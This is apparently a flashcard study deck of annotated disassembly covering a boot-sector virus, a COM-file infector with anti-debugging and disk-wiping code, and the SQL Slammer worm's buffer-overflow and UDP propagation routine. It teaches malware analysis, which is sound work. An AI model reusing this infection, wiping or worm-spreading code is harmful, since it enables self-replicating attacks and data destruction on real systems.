1/49
Looks like no tags are added yet.
Name | Mastery | Learn | Test | Matching | Spaced | Call with Kai |
|---|
No analytics yet
Send a link to your students to track their progress
First instruction is a jump to the virus's main entry
jmp loc_7CAF
tests if the drive motor is running. If it is running, then the malware was just loaded from the floppy drive, so there is no need to infect it. If it is not running, then this is a new floppy that should be infected
push ds
push ax
or dl, dl
jnz short loc_7C2F
xor ax, ax
mov ds, ax
test byte ptr ds:43Fh, 1
call the real int 13 handler's address
pushf
call dword ptr cs:0Ah
call the infect code
pushf
call sub_7C36
jump to the real int 13 handler's address
pop ax
pop ds
jmp dword ptr cs:0Ah
NOT loading the same word! The lodsw instruction increments si. 7C66 and 7C6B load the first and second word of the virus code, respectively.
lodsw
cmp ax, [bx]
jnz short loc_7C71
lodsw
comparing the sector read from the floppy against the virus's code to see if it is already infected
cmp ax, [bx]
jnz short loc_7C71
lodsw
cmp ax, [bx+2]
uses int 13 to write the infection to the new floppy
mov si, 3BEh
mov di, 1BEh
mov cx, 21h
cld
rep movsw
mov ax, 301h
xor bx, bx
mov cx, 1
xor dx, dx
pushf
call dword ptr ds:0Ah
the virus is saving the good int 13 handler
mov ax, ds:4Ch
mov ds:word7C0A, ax
mov ax, ds:4Eh
mov ds:word7C0C, ax
reduce known memory size by 2K
mov ax, ds:413h
dec ax
dec ax
mov ds:413h, ax
saving the address of the stolen 2K of memory
mov es, ax
mov ds:word_7C05, ax
the virus is setting the int 13 vector to point to the evil int 13 (literally lines 7CDE and 7CE1)
mov ds:word_7C05, ax
mov ax, 0Eh
mov ds:4Ch, ax
mov word ptr ds:4Eh, es
jumping to the copy of the virus in the stolen 2K of memory
rep movsb
jmp dword ptr cs:byte_7C03
the virus is overwriting the disk
loc7D6C
mov bx, 5000h
mov es, bx
assume es:nothing
int 13h
jnb short loc7D79
xor ah, ah
int 13h
loc7D79
inc dh
cmp dh, ds:7
jb short loc7D50
xor dh, dh
inc ch
jmp short loc_7D50
code for infecting hard drives
loc_7D87
mov cx, 7
mov ds:8, cx
mov ax, 301h
mov dx, 80h
int 13h
jb short loc_7D3E
mov si, 3BEh
mov di, 1BEh
mov cx, 21h
rep movsw
mov ax, 301h
xor bx, bx
inc cl
int 13h
jmp short loc_7D3E
the 168h in line 0106 is overwritten by 0100 ONLY WHEN IN A DEBUGGER
assume cs:seg000
org 100h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
C7 6 7 1 52 1 mov word ptr ds:loc_106+1, 152h
loc_106:
B8 68 1 mov ax, 168h
A3 2E 1 mov word ptr ds:loc_129+5, ax
2B C0 sub ax, ax
1E push ds
8E D8 mov ds, ax
8E C0 mov es, ax
BE 84 0 mov si, 84h
BF 0C 0 mov di, 0Ch
A5 movsw
A5 movsw
26 A1 0 0 mov ax, es:0
A3 70 1 mov word ptr ds:loc_16B+5, ax
26 A1 2 0 mov ax, es:2
A3 77 1 mov word ptr ds:loc_172+5, ax
is overwriting the 4D4Ch operand in seg000:0129
loc_106:
B8 68 1 mov ax, 168h
A3 2E 1 mov word ptr ds:loc_129+5, ax
is overwriting the int 3 with int 21
BE 84 0 mov si, 84h
BF 0C 0 mov di, 0Ch
A5 movsw
A5 movsw
is saving the divide by 0 handler OFFSET to the 4D4Ch in seg000:0172
26 A1 0 0 mov ax, es:0
A3 70 1 mov word ptr ds:loc_16B+5, ax
is saving the divide by 0 handler SEGMENT to the 5341h in seg000:0172
26 A1 2 0 mov ax, es:2
A3 77 1 mov word ptr ds:loc_172+5, ax
is setting the divide by 0 handler OFFSET to either 152h or 168h depending on if running in a debugger!
loc_129:
26 C7 6 0 0 68 01 mov word ptr es:0, 0168h (4D4Ch)
1F pop ds
is setting the divide by 0 handler SEGMENT to 1000h (the segment where the virus will copy itself)
8C D8 mov ax, ds
80 C4 10 add ah, 10h
26 A3 2 0 mov es:2, ax
the size of the 1A3h bytes to be moved is important because the virus only wants to copy up to seg000:02A2
BF 0 1 mov di, 100h
8B F7 mov si, di
B9 A3 1 mov cx, 1A3h
copy PSP+1000h (relocated PSP segment) into AX, DS points to where virus was copied to in higher memory
8E D8 mov ds, ax
We are in a debugger, destroy the data on the floppy
2B C9 sub cx, cx
loc_154:
41 inc cx
0E push cs
7 pop es
assume es:nothing
loc_157:
B8 5 FE mov ax, 0FE05h
EB FC jmp short near ptr loc_157+1
2D 2 E7 sub ax, 0E702h
B7 1 mov bh, 1
BA 0 0 mov dx, 0
CD 13 int 13h
EB EC jmp short loc_154
The virus is jumping into the middle of the instruction at seg000:0157 to realign execution (SO NO INFINITE LOOP)
loc_157:
B8 5 FE mov ax, 0FE05h
EB FC jmp short near ptr loc_157+1
are restoring the divide by 0 handler OFFSET and SEGMENT
loc_16B:
26 C7 6 0 0 4C 4D mov word ptr es:0, 4D4Ch
Check if the com file is already infected
8B 4 mov ax, [si]
72 A6 jb short loc_14D
3B 6 0 1 cmp ax, ds:100h
74 9D jz short loc_14A
8B 44 2 mov ax, [si+2]
3D 15 60 cmp ax, 6015h
74 2 jz short loc_1B7
EB 3F jmp short loc_1F6
Check if this com file is COMMAND.COM
3D 15 60 cmp ax, 6015h
74 2 jz short loc_1B7
MUST mention overwriting the COPYRIGHT string, the "has no label" string, and the "Bad Command" string
BE 4D 2 mov si, 24Dh
BF F0 23 mov di, 23F0h
B9 55 0 mov cx, 55h
90 nop
FC cld
F3 A4 rep movsb
BE 2A 2 mov si, 22Ah
BF 57 90 mov di, 9057h
B9 0C 0 mov cx, 0Ch
90 nop
F3 A4 rep movsb
BE 36 2 mov si, 236h
BF 4C 91 mov di, 914Ch
B9 17 0 mov cx, 17h
90 nop
F3 A4 rep movsb
prepending the virus to the com file
loc_1F6:
B8 0 42 mov ax, 4200h
B4 40 mov ah, 40h
8B 0D mov cx, [di]
81 C1 A3 1 add cx, 1A3h
int 3
This is pushing the SEGMENT and OFFSET for the retf instruction at line seg000:0222, respectively.
assume ds:nothing
50 push ax
B4 1A mov ah, 1Ah
D1 EA shr dx, 1
CC int 3
BF 0 1 mov di, 100h
57 push di
Only executes when the virus is run as a stand-alone COM file... This stub of code displays the "DOS 7 Lucifer" string on the command prompt and then exits
B4 9 mov ah, 9
BA 9 1 mov dx, 109h
CC int 3 ; Trap to Debugger
B4 4C mov ah, 4Ch ; 'L'
CC int 3 ; Trap to Debugger
is garbage to overflow the buffer
db 1 (repeated)
add [ecx], eax (repeated)
db 1 (repeated)
is the address of the "jmp ESP" instruction in sqlsort.dll. This address gets used as the return address. ESP will point to the very next byte on the stack (seg000:00000065) which will be decoded as a JMP to the nop sled.
db 0DCh
db 0C9h
db 0B0h
db 42h ; B
is the jump to the nop sled (execution gets here from the "jmp ESP" instruction in sqlsort.dll which gets "returned to" by the overwritten return address)
jmp short loc_75
db 1
is the virus reconstructing the bottom of the stack which was previously popped off while returning from the vulnerable function
push 42B0C9DCh
mov eax, 1010101h
xor ecx, ecx
mov cl, 18h
loc_8B: ; CODE XREF: seg000:0000008C↓j
push eax
loop loc_8B
xor eax, 5010101h
push eax
setting ebp to point to the top of the stack, which is actually the top of the reconstructed worm; this allows the worm to use ebp to offset inside itself. (BASICALLY, the worm is above EBP (so any EBP + # offsets are inside the worm) and the worm's "stack" is now below the worm (so any EBP - # will be on the worm's "stack").
mov ebp, esp
push ecx
LoadLibrary (‘ws2_32.dll’) and push the return value. NOTE: that the eax pushed to the stack on line seg000:000000E1 will be popped off by LoadLibrary (because it is stdcall)
mov esi, 42AE1018h
lea eax, [ebp-2Ch]
push eax
call dword ptr [esi]
push eax
LoadLibrary (‘kernel32.dll’) and push the return value. NOTE: that the eax pushed to the stack on line seg000:000000EC will be popped off by LoadLibrary (because it is stdcall)
lea eax, [ebp-10h]
push eax
call dword ptr [esi]
push eax
is getting the address of GetProcAddress, checking that the address is correct, and using an alternative address if it is not correct
mov esi, 42AE1010h
mov ebx, [esi]
mov eax, [ebx]
cmp eax, 51EC8B55h
jz short loc_105
mov esi, 42AE101Ch
calling GetProcAddress(handle to kernel32.dll pushed by seg000:000000EF, pointer to string "GetTickCount" pushed by seg000:000000E8). Note the STDCALL calling convention. Also, this will pop the two args off the stack because GetProcAddress is also stdcall.
loc_105: ; CODE XREF: seg000:000000FE↑j
call dword ptr [esi]
call eax
pushing the data to build a socket structure on the stack. This will be used as an argument for send_to later
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx
calling GetProcAddress(handle to ws2_32.dll, pointer to string "socket"). Note the STDCALL calling convention! Also, this will pop the two args off the stack because GetProcAddress is also stdcall.
lea eax, [ebp-34h]
push eax
mov eax, [ebp-40h]
push eax
call dword ptr [esi]
calling socket(AFINET, SOCKDGRAM, IPPROTO_UDP)
push 11h
push 2
push 2
call eax
push eax
GetProcAddress(ws2_32_baseaddr, ‘sendto’) and move return into ESI
lea eax, [ebp-3Ch]
push eax
mov eax, [ebp-40h]
push eax
call dword ptr [esi]
mov esi, eax
pseudorandom number generator, MUST NOTE THAT the seed is loaded in seg000:00000142
loc_142: ; CODE XREF: seg000:00000176↓j
mov eax, [ebp-4Ch]
lea ecx, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx
sendto(sock, payload, 376, 0, 1434port/AF_INET, 16). MUST NOTE that ebp+3 in seg000:0000016C is loading the address of the worm body (not including the 3 leading 0s) on the stack to be used as a pointer to the send buffer (UDP payload).
push 10h
lea eax, [ebp-50h]
push eax
xor ecx, ecx
push ecx
xor cx, 178h
push ecx
lea eax, [ebp+3]
push eax
mov eax, [ebp-54h]
push eax
call esi
fixing the self-modified code at seg000:0107
loc_172:
26 C7 6 2 0 41 53 mov word ptr es:2, 5341h
7 pop es
C7 6 7 1 68 1 mov word ptr ds:107h, 168h
The destination buffer for the COM file read is ds:dx, dx comes from si, need to realize that si = 1 byte after the virus body (it's value came from the rep movsb)
BF 1A 0 mov di, 1Ah
8B 0D mov cx, [di]
8B D6 mov dx, si